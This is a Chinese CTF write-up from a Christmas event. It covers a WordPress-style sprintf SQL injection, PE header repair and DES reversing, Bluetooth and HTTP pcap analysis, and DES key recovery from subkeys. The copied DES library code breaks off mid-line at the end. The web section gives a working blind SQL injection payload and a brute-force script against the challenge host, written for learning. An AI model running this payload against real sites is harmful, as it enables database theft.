i春秋圣诞节活动ctf题writeup大放送


WEB

祝大家圣诞快乐!hhhhh



|  \/  | ___ _ __ _ __ _   _
| |\/| |/ _ \ '__| '__| | | |
| |  | |  __/ |  | |  | |_| |
|_|  |_|\___|_|  |_|   \__, |
                       |___/
  ____ _          _     _                       _
 / ___| |__  _ __(_)___| |_ _ __ ___   __ _ ___| |
| |   | '_ \| '__| / __| __| '_ ` _ \ / _` / __| |
| |___| | | | |  | \__ \ |_| | | | | | (_| \__ \_|
 \____|_| |_|_|  |_|___/\__|_| |_| |_|\__,_|___(_)

image.png

image.png

image.png
sprintf看着像wp里面的,去漏洞平台搜了一下。
应该是这个漏洞:
image.png

这个我不知道他后台代码是啥,但是在漏洞报告中看到了payload:

最初报告的漏洞在vsprintf中使用了一个鬼鬼祟祟的功能来允许你“绝对引用”的参数。 我们来看一个例子:
vsprintf('%s, %d, %s', ["a", 1, "b"]); // "a, 1, b"
vsprintf('%s, %d, %1$s', ["a", 2, "b"]); // "a, 2, a"
请注意,%n$s不会读取下一个参数,而是读取由n指定位置的参数。

我们可以用这个来注入原来的查询。 想象一下,我们将下面的信息传递给服务器:
$_GET['items'] = ['%1$s'];
$_GET['baz'] = "test";
现在,查询将被改为SELECT * FROM foo WHERE bar IN('test')AND baz ='test'; (我们已经成功地改变了查询的含义。
还有一个关键信息是原始报告中包含的信息,将其变为全面的SQL注入。 sprintf还接受另一种类型的参数:%c,它的作用类似于chr()并将十进制数字转换为字符。 所以现在攻击者可以这样做:
$_GET['items'] = ['%1$c) OR 1 = 1 /*'];
$_GET['baz'] = 39;
---
上面是官方的,前面说%c参数类似于chr()函数,我们传入的'经过转换之后就是39.查询变成
SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*' AND baz = 'test';
原始修复4.8.2发布时,它增加了一行代码来修复,包含在WPDB::prepare()中。 
如下:
$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query );
这有两个基本的东西。 首先,它删除除%d,%s和%F之外的任何sprintf标记。 这应该使原来的漏洞无效,因为它依赖%c(或者看起来好像)。 其次,它消除了进行位置替换的能力(意味着%1$不再有效)。

........

因为这个漏洞我不是很了解,我就不班门弄斧了。
具体请看Here

最终得到的payload是 :

%1$' or ascii(substr((select flag from flag),1,1)=100#

盲注最烦的就是慢。所以需要脚本。我先用burp测试无误以后才写脚本。
burp爆破的时候返回的长度都是一样的,要不是一个一个去看,我还以为我代码错了….
爆破的时候踩了几个坑,还是怪自己底子不好吧。
不行,TM我要数下我踩了几个坑….

  • url编码问题
  • 数据库长度
    • 我自以为是用len判断,mysql里面是length
  • 查的时候忘了加limit 0,1
  • str变量我神tm加一个双引号包起来干哈?
  • url编码的问题是用wireshark抓包看的,因为requests库不能看自己发了啥东西。

数据库是ctf,表名是flag,字段名也就是flag咯。
然后就是爆破字段内容,也就是最终的flag,我一开始想确定长度,不是长度嘛。
我就这样写:

select length(select user from users limit 1,1);

image.png

行吧行吧,你们可爱做什么都对,我人衰咩!

其实字段长度不知道也木事,flag顶天50长度。

最终的脚本如下:

# _*_ coding : utf-8 _*_
import requests
import re
import urllib2


logo = '''
 __  __
|  \/  | ___ _ __ _ __ _   _
| |\/| |/ _ \ '__| '__| | | |
| |  | |  __/ |  | |  | |_| |
|_|  |_|\___|_|  |_|   \__, |
                       |___/
  ____ _          _     _                       _
 / ___| |__  _ __(_)___| |_ _ __ ___   __ _ ___| |
| |   | '_ \| '__| / __| __| '_ ` _ \ / _` / __| |
| |___| | | | |  | \__ \ |_| | | | | | (_| \__ \_|
 \____|_| |_|_|  |_|___/\__|_| |_| |_|\__,_|___(_)

'''

def Crackflag():
    flagname = ""
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',
    }

    url = "http://09fcdd45eebd4d3c9ecbc16a778859639540ba5ad3a54287.game.ichunqiu.com"
    #这里flag长度我用length不知道为什么会报错,我就猜了顶天50
    for m in range(1,50):
        #ASCII码可见字符范围
        for i in range(32, 126):
            s = "%1$' or ascii(substr((select flag from flag),"+str(m)+",1))="+str(i)+"#"  #payload
            str1 = s
            data={'username' : str1, 'password' : 'wingisbest!'}
            req = requests.post(url=url, data=data,headers=headers)
            result = re.findall('password error', req.content)
            if result:
                flagname = flagname + chr(i)
                print flagname


if __name__ == "__main__":
    print logo
    Crackflag()
###flag{Fuck_ctf}

附:过程图
image.png
image.png

RE

后缀名写着exe,却不能运行~

用010Editor打开分析一下

发现NT头有很明显的问题

这里写图片描述

MagicNumber应该是50 45 00 00,被改为了HA

后面一个HA很明显也是后加的,查询一下发现这里是Machine,表示使用的处理器

正确的值应该为4C 01,即i386 - 332

修改以后发现还是不能运行,继续检查

想起来DOS头里有一个重要的值:e_lfanew,它表示了NE头的偏移

原值为00 01 00 00,很明显是错的,改正为10 01 00 00(0x110)

改完发现Windows都能识别出来它是个MFC了

这里写图片描述

然而双击以后响应了一会儿还是没东西出来

拖入OD也在加载器中就跳入SEH了,估计加载的时候还有什么错误,当时没有发现

但是知道它是MFC就有地方可以操作了:

无壳,拖入IDA,发现WinMain函数里没有好辨认的东西,查找字符串也没有可读的部分╮(╯_╰)╭

于是开始考虑从资源下手

用ResourceHacker查看控件ID,发现确认按钮的ID为1001

于是根据ID定位按钮函数,通过IDA的搜索立即数

(结构体自己导入)

这里写图片描述

这样就找到了函数:sub_402C30

结构很明显

这里写图片描述

查看check函数,发现先是通过下标的奇偶将字符串切成两个

这里写图片描述

然后分别将两个字符串base64,再连接起来

这里写图片描述

之后大段的代码太长不想看(。

反正没有对v76操作的地方

最后可以看出来是和一个字符串比较

这里写图片描述

直接把它拖下来解b64发现不可见,说明中间还有操作

到这里就陷入了僵局

回头重新研究

发现当用IDA调试的时候会报start函数执行失败

这个提示让我茅塞顿开,节区属性的可执行属性被关闭了!

原来题目名“NoExec“就给出提示了╮(╯_╰)╭奈何一直没get到

于是将代码所在节区.text的属性加上可执行(DWORD Executable : 1)

这里写图片描述

就可以运行了!

在OD中对刚才分析的结果b64后的字符串下断,断到sub_401EC0->sub_401CE0中进行了操作

在IDA中大概看了一下,很复杂╮(╯_╰)╭

掏出密码学分析插件看一眼,哼,果然在这个函数里有对DES_box的调用

那这个sub_401EC0就是DES没跑了

OD中对这个函数下断,发现它是每次截取8个字符进行DES,密钥通过对参数的观察发现是

6E 06 15 51 93 5B 07 EA

IDA中大概能看到是上面一堆复杂操作出来的….看不懂(望天

跑了一下发现这个密钥是不变的

解密出来由于是二进制值,所以还有一次base64转为可见字符

于是按照思路写出解密脚本:

from base64 import b64encode, b64decode
from Cryptodome.Cipher import DES

k2 = [0x6E, 0x06, 0x15, 0x51, 0x93, 0x5B, 0x07, 0xEA]
key = bytes(k2)
x = DES.new(key, DES.MODE_ECB)
s = b"GcDk0SvnNA1tsmp5FCK1FpSDfUXZbhHBSPheZaixuMyzqyysOAPCPB/p7sMpmK1KZo+lPfhMZxw="
c = b64decode(s)
# 解密
p = x.decrypt(c)

# 还原奇偶字符
x = b64decode(p)
y = b64decode(p[28:-4])
for i in range(37):
    if(i%2==0):
        print(chr(x[i//2]), end='')
    else:
        print(chr(y[i//2]), end='')

活动页面上写着难度为中下,不过这个题目着实难了我一会儿(:з」∠)

虽然复盘想想好像的确没有太复杂的东西,但是各种小细节还是挺麻烦的

学到和巩固了很多知识~感谢出题人和i春秋提供的题目(°∀°)ノ

MISC200

题目给了2个文件,分别是web和蓝牙的数据包

查找资料得知,蓝牙的协议分为命令、数据和事件3种

由于我们的目标是flag,因此可以忽略命令和事件,也就是协议为’HCI_CMD’和’HCI_EVT’的

按照协议分类,扫剩下的数据包时发现有一个长度异常的

image.png

点进去查看数据发现Data中出现了很多可见字符,并且包括一个secret头

Dump下来,以十六进制查看:

很明显是一个rar压缩包,保存后发现需要密码

手里还有一个pcapng数据包没看,拿来分析

导出为HTTP对象发现大部分都是baidu和sougo的干扰流量

除此以外有两个paste.ubuntu.com的,点开分析发现post参数中有jsfuck,放到控制台里运行就弹出了密码
image.png

打开压缩包得到flag

MISC150

查看内容,发现是与黑客的交易对话内容

提示放在hnt.txt里,尝试搜索

[图片上传失败…(image-a96e13-1514126968331)]##

找到这里,里面的txt很明显是ASCII

遂转码得到flag

这里写图片描述

crypto

基本思路

用任意两组kn[i]可以得到key初始置换后的56bit长度的key,然后再逆推得到64位,不过8的倍数位置上的是未知的,然后爆破256种情况,去解密

利用脚本

两个脚本,一个还原des子密钥kn,一个拿着题目给的文件,因为没有解密函数,所以把加密函数改了改,然后封装了个decrypt函数

kn_2_key

des子密钥还原,最后有8位是还原不出来的,不过一共2的8次方,256种可能,直接爆破一下

import copy
from descrypto import decrypt

Kn = [
    [1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1,
        1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1],
    [1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0,
        1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1],
    [0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0,
        1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1],
    [1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1,
        0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1],
    [1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0,
        0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1],
    [0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1,
        0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1],
    [0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0,
        1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0],
    [1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1,
        1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0],
    [1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0,
        0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0],
    [1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1,
        1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0],
    [1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0,
        1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0],
    [1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1,
        1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1],
    [0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1,
        1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1],
    [1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0,
        1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1],
    [0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1,
        1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1],
    [0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1,
        1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1]
]

__pc1 = [56, 48, 40, 32, 24, 16, 8,
         0, 57, 49, 41, 33, 25, 17,
         9, 1, 58, 50, 42, 34, 26,
         18, 10, 2, 59, 51, 43, 35,
         62, 54, 46, 38, 30, 22, 14,
         6, 61, 53, 45, 37, 29, 21,
         13, 5, 60, 52, 44, 36, 28,
         20, 12, 4, 27, 19, 11, 3
         ]

__pc2 = [
    13, 16, 10, 23, 0, 4,
    2, 27, 14, 5, 20, 9,
    22, 18, 11, 3, 25, 7,
    15, 6, 26, 19, 12, 1,
    40, 51, 30, 36, 46, 54,
    29, 39, 50, 44, 32, 47,
    43, 48, 38, 55, 33, 52,
    45, 41, 49, 35, 28, 31
]

Key = [[0] * 48] * 16


def __BitList_to_String(data):
    L = len(data) / 8
    result = [0] * L
    pos = 0
    c = 0
    while pos < L:
        for i in range(0, L):
            result[pos] |= data[(pos << 3) + i] << i
        pos += 1
    return ''.join([chr(c) for c in result ])


def permutate(table, block):
    return list(map(lambda x: block[x], table))


pc2_ni = []
for i in range(56):
    if i not in __pc2:
        pc2_ni.append(i)
pc2 = []
for i in range(56):
    if i in pc2_ni:
        pc2.append(len(__pc2))
        continue
    pc2.append(__pc2.index(i))

Kn0 = permutate(pc2, Kn[0] + [2])
assert Kn[0] == permutate(__pc2, Kn0)
print 'Kn0:' + str(Kn0)
Kn0_L = [Kn0[27]] + Kn0[:27]
Kn0_R = [Kn0[55]] + Kn0[28:55]
key0 = Kn0_L + Kn0_R

Kn1 = permutate(pc2, Kn[1] + [2])
assert Kn[1] == permutate(__pc2, Kn1)
print 'Kn1:' + str(Kn1)
Kn1_L = Kn1[26:28] + Kn1[:26]
Kn1_R = Kn1[54:56] + Kn1[28:54]
key1 = Kn1_L + Kn1_R

key_56 = []
for i in range(len(key0)):
    if key0[i] == 2:
        key_56.append(key1[i])
    else:
        key_56.append(key0[i])
print 'key(56bits):' + str(key_56)


pc1_ni = []
for i in range(64):
    if i not in __pc1:
        pc1_ni.append(i)
pc1 = []
for i in range(64):
    if i in pc1_ni:
        pc1.append(len(__pc1))
        continue
    pc1.append(__pc1.index(i))

key = permutate(pc1, key_56 + [2])
assert key_56 == permutate(__pc1, key)
print key

dic = []
key_dic = []
for i in range(0b100000000):
    dic.append(bin(i)[2:].zfill(8))
for i in dic:
    k = copy.deepcopy(key)
    j = 0
    while 2 in k:
        k[k.index(2)] = int(i[j])
        j += 1
    assert j == 8
    # print k
    key_dic.append(__BitList_to_String(k))
print key_dic
for i in key_dic:
    print '################'
    decrypt(i)

descrypto

原题给的脚本,没有解密函数,我改了一下,然后封装了个decrypt函数

import sys

_pythonMajorVersion = sys.version_info[0]

ECB =    0
CBC =    1


PAD_NORMAL = 1
PAD_PKCS5 = 2


class _baseDes(object):
    def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
        if IV:
            IV = self._guardAgainstUnicode(IV)
        if pad:
            pad = self._guardAgainstUnicode(pad)
        self.block_size = 8
        if pad and padmode == PAD_PKCS5:
            raise ValueError("Cannot use a pad character with PAD_PKCS5")
        if IV and len(IV) != self.block_size:
            raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")


        self._mode = mode
        self._iv = IV
        self._padding = pad
        self._padmode = padmode

    def getKey(self):
        """getKey() -> bytes"""
        return self.__key

    def setKey(self, key):
        """Will set the crypting key for this object."""
        key = self._guardAgainstUnicode(key)
        self.__key = key

    def getMode(self):
        """getMode() -> pyDes.ECB or pyDes.CBC"""
        return self._mode

    def setMode(self, mode):
        """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
        self._mode = mode

    def getPadding(self):
        """getPadding() -> bytes of length 1. Padding character."""
        return self._padding

    def setPadding(self, pad):
        """setPadding() -> bytes of length 1. Padding character."""
        if pad is not None:
            pad = self._guardAgainstUnicode(pad)
        self._padding = pad

    def getPadMode(self):
        """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
        return self._padmode

    def setPadMode(self, mode):
        """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
        self._padmode = mode

    def getIV(self):
        """getIV() -> bytes"""
        return self._iv

    def setIV(self, IV):
        """Will set the Initial Value, used in conjunction with CBC mode"""
        if not IV or len(IV) != self.block_size:
            raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
        IV = self._guardAgainstUnicode(IV)
        self._iv = IV

    def _padData(self, data, pad, padmode):
        if padmode is None:
            padmode = self.getPadMode()
        if pad and padmode == PAD_PKCS5:
            raise ValueError("Cannot use a pad character with PAD_PKCS5")

        if padmode == PAD_NORMAL:
            if len(data) % self.block_size == 0:
                return data

            if not pad:
                pad = self.getPadding()
            if not pad:
                raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
            data += (self.block_size - (len(data) % self.block_size)) * pad

        elif padmode == PAD_PKCS5:
            pad_len = 8 - (len(data) % self.block_size)
            if _pythonMajorVersion < 3:
                data += pad_len * chr(pad_len)
            else:
                data += bytes([pad_len] * pad_len)

        return data

    def _unpadData(self, data, pad, padmode):
        if not data:
            return data
        if pad and padmode == PAD_PKCS5:
            raise ValueError("Cannot use a pad character with PAD_PKCS5")
        if padmode is None:
            padmode = self.getPadMode()

        if padmode == PAD_NORMAL:
            if not pad:
                pad = self.getPadding()
            if pad:
                data = data[:-self.block_size] + \
                       data[-self.block_size:].rstrip(pad)

        elif padmode == PAD_PKCS5:
            if _pythonMajorVersion < 3:
                pad_len = ord(data[-1])
            else:
                pad_len = data[-1]
            data = data[:-pad_len]

        return data

    def _guardAgainstUnicode(self, data):
        if _pythonMajorVersion < 3:
            if isinstance(data, unicode):
                raise ValueError("pyDes can only work with bytes, not Unicode strings.")
        else:
            if isinstance(data, str):
                try:
                    return data.encode('ascii')
                except UnicodeEncodeError:
                    pass
                raise ValueError("pyDes can only work with encoded strings, not Unicode.")
        return data

class des(_baseDes):


    # Permutation and translation tables for DES
    __pc1 = [56, 48, 40, 32, 24, 16,  8,
          0, 57, 49, 41, 33, 25, 17,
          9,  1, 58, 50, 42, 34, 26,
         18, 10,  2, 59, 51, 43, 35,
         62, 54, 46, 38, 30, 22, 14,
          6, 61, 53, 45, 37, 29, 21,
         13,  5, 60, 52, 44, 36, 28,
         20, 12,  4, 27, 19, 11,  3
    ]

    # number left rotations of pc1
    __left_rotations = [
        1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
    ]

    # permuted choice key (table 2)
    __pc2 = [
        13, 16, 10, 23,  0,  4,
         2, 27, 14,  5, 20,  9,
        22, 18, 11,  3, 25,  7,
        15,  6, 26, 19, 12,  1,
        40, 51, 30, 36, 46, 54,
        29, 39, 50, 44, 32, 47,
        43, 48, 38, 55, 33, 52,
        45, 41, 49, 35, 28, 31
    ]

    # initial permutation IP
    __ip = [57, 49, 41, 33, 25, 17, 9,  1,
        59, 51, 43, 35, 27, 19, 11, 3,
        61, 53, 45, 37, 29, 21, 13, 5,
        63, 55, 47, 39, 31, 23, 15, 7,
        56, 48, 40, 32, 24, 16, 8,  0,
        58, 50, 42, 34, 26, 18, 10, 2,
        60, 52, 44, 36, 28, 20, 12, 4,
        62, 54, 46, 38, 30, 22, 14, 6
    ]

    # Expansion table for turning 32 bit blocks into 48 bits
    __expansion_table = [
        31,  0,  1,  2,  3,  4,
         3,  4,  5,  6,  7,  8,
         7,  8,  9, 10, 11, 12,
        11, 12, 13, 14, 15, 16,
        15, 16, 17, 18, 19, 20,
        19, 20, 21, 22, 23, 24,
        23, 24, 25, 26, 27, 28,
        27, 28, 29, 30, 31,  0
    ]

    # The (in)famous S-boxes
    __sbox = [
        # S1
        [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
         0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
         4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
         15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],

        # S2
        [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
         3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
         0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
         13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],

        # S3
        [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
         13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
         13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
         1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],

        # S4
        [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
         13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
         10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
         3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],

        # S5
        [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
         14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
         4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
         11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],

        # S6
        [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
         10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
         9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
         4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],

        # S7
        [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
         13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
         1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
         6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],

        # S8
        [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
         1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
         7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
         2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
    ]


    # 32-bit permutation function P used on the output of the S-boxes
    __p = [
        15, 6, 19, 20, 28, 11,
        27, 16, 0, 14, 22, 25,
        4, 17, 30, 9, 1, 7,
        23,13, 31, 26, 2, 8,
        18, 12, 29, 5, 21, 10,
        3, 24
    ]

    # final permutation IP^-1
    __fp = [
        39,  7, 47, 15, 55, 23, 63, 31,
        38,  6, 46, 14, 54, 22, 62, 30,
        37,  5, 45, 13, 53, 21, 61, 29,
        36,  4, 44, 12, 52, 20, 60, 28,
        35,  3, 43, 11, 51, 19, 59, 27,
        34,  2, 42, 10, 50, 18, 58, 26,
        33,  1, 41,  9, 49, 17, 57, 25,
        32,  0, 40,  8, 48, 16, 56, 24
    ]

    # Type of crypting being done
    ENCRYPT =    0x00
    DECRYPT =    0x00

    # Initialisation
    def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
        # Sanity checking of arguments.
        if len(key) != 8:
            raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.")
        _baseDes.__init__(self, mode, IV, pad, padmode)
        self.key_size = 8

        self.L = []
        self.R = []
        self.Kn = [ [0] * 48 ] * 16    # 16 48-bit keys (K1 - K16)
        self.final = []

        self.setKey(key)

    def setKey(self, key):
        """Will set the crypting key for this object. Must be 8 bytes."""
        _baseDes.setKey(self, key)
        self.__create_sub_keys()

    def __String_to_BitList(self, data):
        """Turn the string data, into a list of bits (1, 0)'s"""
        if _pythonMajorVersion < 3:

            data = [ord(c) for c in data]
        l = len(data) * 8
        result = [0] * l
        pos = 0
        for ch in data:
            for i in range(0,8):
                result[(pos<<3)+i]=(ch>>i)&1
            pos+=1

        return result

    def __BitList_to_String(self, data):
        """Turn the list of bits -> data, into a string"""
        l=len(data)/8
        result = [0]*l
        pos = 0
        c=0
        while pos < l:
            for i in range(0,l):
                result[pos] |= data[(pos<<3)+i]<<i
            pos+=1

        if _pythonMajorVersion < 3:
            return ''.join([ chr(c) for c in result ])
        else:
            return bytes(result)

    def __permutate(self, table, block):
        """Permutate this block with the specified table"""
        return list(map(lambda x: block[x], table))


    def __create_sub_keys(self):
        """Create the 16 subkeys K[1] to K[16] from the given key"""
        key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))
        i = 0
        self.L = key[:28]
        self.R = key[28:]
        while i < 16:
            j = 0

            while j < des.__left_rotations[i]:
                self.L.append(self.L[0])
                del self.L[0]

                self.R.append(self.R[0])
                del self.R[0]

                j += 1

            self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)

            i += 1


    def __des_crypt(self, block, crypt_type):
        """Crypt the block of data through DES bit-manipulation"""
        block = self.__permutate(des.__ip, block)
        self.L = block[:32]
        self.R = block[32:]


        if crypt_type == des.ENCRYPT:
            iteration = 15
            iteration_adjustment = -1

        i = 0
        while i < 16:

            tempR = self.R[:]


            self.R = self.__permutate(des.__expansion_table, self.R)


            self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))
            B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]]

            j = 0
            Bn = [0] * 32
            pos = 0
            while j < 8:

                m = (B[j][0] << 1) + B[j][5]
                n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]


                v = des.__sbox[j][(m << 4) + n]


                Bn[pos] = (v & 8) >> 3
                Bn[pos + 1] = (v & 4) >> 2
                Bn[pos + 2] = (v & 2) >> 1
                Bn[pos + 3] = v & 1

                pos += 4
                j += 1


            self.R = self.__permutate(des.__p, Bn)


            self.R = list(map(lambda x, y: x ^ y, self.R, self.L))

            self.L = tempR

            i += 1
            iteration += iteration_adjustment


        self.final = self.__permutate(des.__fp, self.R + self.L)
        return self.final



    def crypt(self, data, crypt_type):
        """Crypt the data in blocks, running it through des_crypt()"""


        if not data:
            return ''
        if len(data) % self.block_size != 0:
            if crypt_type == des.DECRYPT:
                raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
            if not self.getPadding():
                raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character")
            else:
                data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()

        if self.getMode() == CBC:
            if self.getIV():
                iv = self.__String_to_BitList(self.getIV())
            else:
                raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering")


        i = 0
        dict = {}
        result = []

        while i < len(data):

            block = self.__String_to_BitList(data[i:i+8])

            if self.getMode() == CBC:
                if crypt_type == des.ENCRYPT:
                    block = list(map(lambda x, y: x ^ y, block, iv))

                processed_block = self.__des_crypt(block, crypt_type)

            else:
                processed_block = self.__des_crypt(block, crypt_type)



            result.append(self.__BitList_to_String(processed_block))

            i += 8


        if _pythonMajorVersion < 3:
            return ''.join(result)
        else:
            return bytes.fromhex('').join(result)

    def encrypt(self, data, pad=None, padmode=None):
        data = self._guardAgainstUnicode(data)
        if pad is not None:
            pad = self._guardAgainstUnicode(pad)
        data = self._padData(data, pad, padmode)
        return self.crypt(data, des.ENCRYPT)
deskey="imnotkey"
DES = des(deskey)
DES.Kn =[
